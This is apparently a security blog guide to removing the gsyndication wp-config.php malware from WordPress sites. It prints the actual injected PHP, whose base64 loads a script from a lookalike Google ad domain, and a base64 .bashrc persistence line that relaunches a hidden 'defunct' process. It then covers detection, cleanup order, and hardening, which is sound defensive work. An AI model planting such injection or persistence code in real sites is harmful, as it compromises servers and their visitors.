WordPress wp-config.php Malware (gsyndication / googlesyndication): Remove It and Stop the Reinfection

If your WordPress site is infected with the gsyndication malware, this guide will help you remove it completely and stop it coming back. The malware injects a script into your wp-config.php file and reinfects it within seconds of cleanup, because a hidden process (and usually a cron job) keeps rewriting the file. Removing the line alone never holds; you have to break the whole reinfection loop.

If you're struggling with mysterious updates to your wp-config.php file in your WordPress installation, you're not alone. Many WordPress administrators have encountered PHP code being injected into their configuration file, often resembling the following snippet:

<?php ini_set("display_errors",0); ini_set("display_startup_errors",0); if (PHP_SAPI !== "cli" && (strpos(@$_SERVER["REQUEST_URI"], "/wp-admin/admin-ajax.php") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-json") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp/v2") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-admin") === false && strpos(@$_SERVER["REQUEST_URI"], "/wp-login.php") === false && strtolower(@$_SERVER["HTTP_X_REQUESTED_WITH"]) !== "xmlhttprequest")) { print(base64_decode("PHNjcmlwdCBzcmM9Ii8vc3luYy5nc3luZGljYXRpb24uY29tLyI+PC9zY3JpcHQ+")); } ?>

Here is the output of the decoded Base64 string (you can also use this online tool to decode base64):

<script src="//sync.gsyndication.com/"></script>

Some variants use async.gsyndication.com instead of sync.; both are the same family:

<script src="//async.gsyndication.com/"></script>

Note the domain: sync.gsyndication.com and async.gsyndication.com are deliberate lookalikes of Google's legitimate ad domains (googlesyndication.com and pagead2.googlesyndication.com), which is exactly what lets the injected line hide in plain sight when you skim your file. They are not Google. If you got here by pasting the exact string you found in your wp-config.php, you are in the right place.

This article will help you understand what's happening, how this malware keeps reinfecting your WordPress site, and how to eliminate it once and for all.

Before we dive into the removal process, it's important to understand how the gsyndication.com malware operates:

1. Initial Infection

   • Exploits vulnerable plugins or themes
   • Uses compromised admin credentials
   • Takes advantage of outdated WordPress installations

2. Persistence Mechanisms

   • Injects code into wp-config.php
   • Creates hidden system processes
   • Establishes cron jobs for reinfection

3. Impact on Your Site

   • Loads malicious JavaScript
   • May display unwanted advertisements
   • Potentially steals user data
   • Impacts site performance

Tools Needed for Removal

Before starting the removal process, ensure you have access to:

1. Server Access

   • SSH access to your server
   • File manager access
   • Database access

2. Security Tools

   • File integrity checker
   • Malware scanner
   • Process monitor

3. Backup Solution

   • Full site backup
   • Database backup
   • wp-config.php backup

Follow these steps carefully to remove the gsyndication.com malware from your WordPress site:

Step 1: Inspect Files in Your Root Directory

Attackers often plant malicious code in .bashrc, .profile, or .bash_profile files in your hosting account's root directory or the users home directory. These files execute automatically when processes related to your user account are started.

Look for lines like this (you can decode them using this base64 decode tool):

# DO NOT REMOVE THIS LINE. SEED PRNG. #defunct-kernel
{ echo L2Jpbi9wa2lsbCAtMCAtVTEwMDUgZGVmdW5jdCAyPi9kZXYvbnVsbCB8fCAoVEVSTT14dGVybS0yNTZjb2xvciBHU19BUkdTPSItayAvaG9tZS95b3Vyb21haW4uY29tLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgZXhlYyAtYSAnW3dhdGNoZG9nZF0nICcvaG9tZS95b3Vyb21haW4uY29tLy5jb25maWcvaHRvcC9kZWZ1bmN0JyAyPi9kZXYvbnVsbCkK

Base64 Decoded Version:

/bin/pkill -0 -U1005 defunct 2>/dev/null || (TERM=xterm-256color GS_ARGS="-k /home/yourdomain.com/.config/htop/defunct.dat -liqD" exec -a '[watchdogd]' '/home/yourdomain.com/.config/htop/defunct') 2>/dev/null

This code uses base64 decoding and bash scripting to execute malicious payloads. It may also seed pseudorandom number generators to obscure further attacks.

They may also add the same code as a cron job to ensure persistence. Check your crontab for any similar code added as a cron item. To view your crontab, you can use the following command:

crontab -l

If you find any suspicious entries, you can remove them by editing the crontab:

crontab -e

Additionally, search for malicious files across the server or other sites hosted on the same server. Use the following commands to find defunct or defunct.dat:

find / -name "defunct" -o -name "defunct.dat" 2>/dev/null

This command will scan the entire server for these files. Replace / with specific directories if you want to narrow down the search scope.

Step 2: Detect Suspicious Processes

Malicious processes, often named watchdogd or defunct, are created to maintain persistence. While the example here uses watchdogd, attackers often adapt the names of these processes to resemble legitimate system services, making them appear normal to an unsuspecting admin. These processes can infect files and execute malicious scripts.

Example: Checking for Suspicious Processes

Run the following command:

ps aux | grep -E "watchdogd|defunct"

Sample output:

root@webserver:/home/siteuser# ps aux | grep -E "watchdogd|defunct"
root         38  0.0  0.0      0     0 ?        S    Jan07   0:00 [watchdogd]
siteuser   10435  0.0  0.0   3164     4 ?        Ss   Jan07   0:00 [watchdogd]
siteuser   10436  0.0  0.0   3292   324 ?        S    Jan07   1:12 [watchdogd]

Here, the processes running under root and siteuser accounts are flagged as suspicious.

Example: Check Processes for a Specific User

To list processes for the compromised user, run:

ps -u siteuser

Sample output:

root@webserver:/home/siteuser# ps -u siteuser
   PID TTY          TIME CMD
 10435 ?        00:00:00 defunct
 10436 ?        00:01:12 defunct
682977 ?        00:00:00 lsphp

In this case, defunct processes are tied to the siteuser account. These processes can reinfect files like wp-config.php. Ensure you also look for processes running as root and kill them if necessary.

To terminate the processes, find the matching PIDs on your system and use the following command (replace the PIDs with those found on your system):

kill -9 10435 10436

The PIDs provided here are examples from this article and will differ in your system.

Step 3: Clean Up Malicious Code

1. Stop Suspicious Processes Identify the process IDs (PIDs) and terminate them:

kill -9 10435
kill -9 10436

2. Remove Malicious Entries Open .bashrc, .profile, and similar files, and remove any suspicious lines. For example:

nano ~/.bashrc

3. Check for Additional Files Files like defunct.dat or similar may contain encoded payloads, but instead of checking their contents, it's safer to delete these files outright. Be sure to delete both defunct and defunct.dat, as well as the entire ~/.config/htop directory, to remove the malicious files completely.

Step 4: Secure Your Environment

1. Set Proper Permissions Secure critical WordPress files to prevent unauthorized modifications:

chmod 440 wp-config.php
chown <your_username>:<your_group> wp-config.php

2. Monitor Logs Review server logs to identify unauthorized access:

tail -f /var/log/auth.log

3. Reset Passwords Update all credentials, including hosting control panel, database, and SFTP passwords.

4. Restrict PHP Functions Disable potentially dangerous PHP functions in your server's php.ini:

disable_functions = exec,shell_exec,system,passthru

Limitations of Security Plugins

Popular WordPress security plugins such as Wordfence, Sucuri, or iThemes Security may not detect this malware because it resides outside the document root of your site. These tools primarily scan WordPress files and the database but might overlook system-level infections.

To enhance security:

• Use server-side malware scanners like ClamAV.
• Regularly audit your hosting environment for anomalies.
• Monitor system processes and logs for suspicious activity.

Breakdown of the Injected PHP Script

The injected PHP script performs the following:

1. Environment Check: It ensures the script runs only in non-CLI environments by checking PHP_SAPI !== "cli".

2. Selective Execution: The script avoids running on specific WordPress API endpoints such as admin-ajax.php, wp-json, and wp-admin. This prevents detection during typical site maintenance tasks.

3. Payload Execution: The base64_decode() function decodes and outputs the malicious JavaScript:

<script src="//sync.gsyndication.com/"></script>

This script is likely used to serve malicious ads, steal data, or further compromise the site.

Does This Provide Shell Access to Attackers?

If the attacker exploited your system with root access, they could have gained full shell access to your server. Even as a non-root user, they can infect files and execute malicious commands. Always assume a complete compromise when these processes are detected and clean thoroughly.

Why the gsyndication malware keeps reinfecting wp-config.php

The single most common complaint with this malware is that you clean wp-config.php, reload the site, and the injected line is back within seconds. That is by design, and it is why a files-only cleanup never holds. Several things have to die together, and in the right order:

• The hidden process. The [watchdogd] / defunct process from Step 2 stays resident and rewrites wp-config.php on a loop. Clean the file while it is still running and it re-injects immediately.
• The cron job and shell-init files. The crontab entry and the .bashrc / .profile lines from Step 1 relaunch the process on a schedule and on every login, so a killed process comes straight back unless you remove these first.
• An SSH key the attacker left behind. These campaigns commonly write their own key into ~/.ssh/authorized_keys (and hidden .ssh directories at the site root and one level up), so the attacker can log straight back in and re-infect even after you rotate every password. Open ~/.ssh/authorized_keys, remove any key you do not recognise, and delete stray .ssh folders. Rotating credentials without this leaves the back door wide open, and it is the most common reason a "clean" site reinfects days later.
• The database. This family is mostly file- and process-based, but the broader googlesyndication ad-injection campaigns also persist in the database, and they recreate a malicious ads.txt in the web root to keep monetising the hijack. Check the wp_options table (below) and remove any recreated ads.txt you did not author.

Check the wp_options database table for gsyndication entries

After the file and process cleanup, scan the database for autoloaded rows carrying the payload:

wp option list --autoload=on --format=table | grep -iE 'gsyndication|base64_decode|<script'
wp db query "SELECT option_id, option_name FROM wp_options WHERE option_value LIKE '%gsyndication%' OR option_value LIKE '%base64_decode%';"

Back up any matching row, then remove or clean it. Scan post content too if the ads appeared inside pages.

The order that actually breaks the loop: shell-init files, cron, and the rogue SSH key first, then kill the process, then clean wp-config.php, then the database and ads.txt, then rotate every credential. Do it in any other order and the process you missed simply re-writes the file you just cleaned. For the full catalogue of where WordPress malware hides to survive a cleanup, see WordPress malware persistence mechanisms.

Troubleshooting Common Issues

During the malware removal process, you might encounter these common issues:

1. Malware Keeps Returning

If the malware reappears after removal:

• Check for compromised FTP/SFTP credentials
• Scan all WordPress files for backdoors
• Review server-level cron jobs
• Audit user permissions

2. Site Breaking After Cleanup

If your site malfunctions after malware removal:

• Restore clean wp-config.php from backup
• Verify database credentials
• Check WordPress salt keys
• Review plugin compatibility

3. Performance Issues

If your site remains slow after cleanup:

• Clear all caches
• Review server logs for ongoing attacks
• Monitor resource usage
• Check for remaining malicious processes

Prevention Tips

To prevent future infections of the gsyndication.com malware:

1. Regular Updates

   • Keep WordPress core updated
   • Update all plugins and themes promptly
   • Monitor security announcements

2. Security Hardening

   • Use strong passwords
   • Enable two-factor authentication
   • Implement IP blocking for repeated failed logins
   • Regular backup schedule

3. File Monitoring

   • Set up file integrity monitoring
   • Configure real-time alerts for file changes
   • Regular security scans

4. Server-Level Security

   • Use ModSecurity rules
   • Configure proper file permissions
   • Regular server security audits

Frequently Asked Questions

Additional Resources

For more information and help with WordPress security:

1. Official Documentation

   • WordPress Security Guide
   • PHP Security Best Practices

2. Security Tools

   • WordPress File Integrity Checkers
   • Server-Side Malware Scanners

3. Community Support

   • WordPress Support Forums
   • WordPress Stack Exchange

Final Thoughts

The gsyndication.com malware is a sophisticated threat that requires a thorough approach to removal and prevention. By following this guide and implementing proper security measures, you can not only remove the current infection but also protect your site from future attacks.

Remember:

• Regular backups are your first line of defense
• Keep all software components updated
• Monitor your site regularly for suspicious activity
• Implement multiple layers of security
• Stay informed about new security threats

Your WordPress site's security is an ongoing process, not a one-time task. Stay vigilant and proactive in your security measures to keep your site safe from malware like gsyndication.com and other emerging threats.

See also

• How to Remove WordPress Malware: The Practitioner's Playbook: the broader cleanup methodology this article is one specific example of. Covers the file-system, database, .htaccess, and credential layers the gsyndication family touches.
• How to Change a WordPress Password: the credential-rotation step that has to follow any wp-config.php compromise; pick a method based on whether you still have admin access.
• How to Reset a Forgotten MySQL Root Password: when the database credentials in wp-config.php were exposed and need rotating at the MySQL layer too.
• WordPress Malware Persistence Mechanisms: every place this family and its cousins hide to survive a cleanup, the reason a files-only pass keeps failing.
• A Hardened wp-config.php Template: the permissions, constants, and DISALLOW_FILE_EDIT settings that make the file harder to rewrite once you have cleaned it.
• Server-Side WordPress File Integrity Monitoring: catch the re-injection the moment it happens, from outside WordPress where this malware lives.
• WordPress Entry-Point Log Forensics: trace how the attacker got in so you close the door instead of just mopping the floor.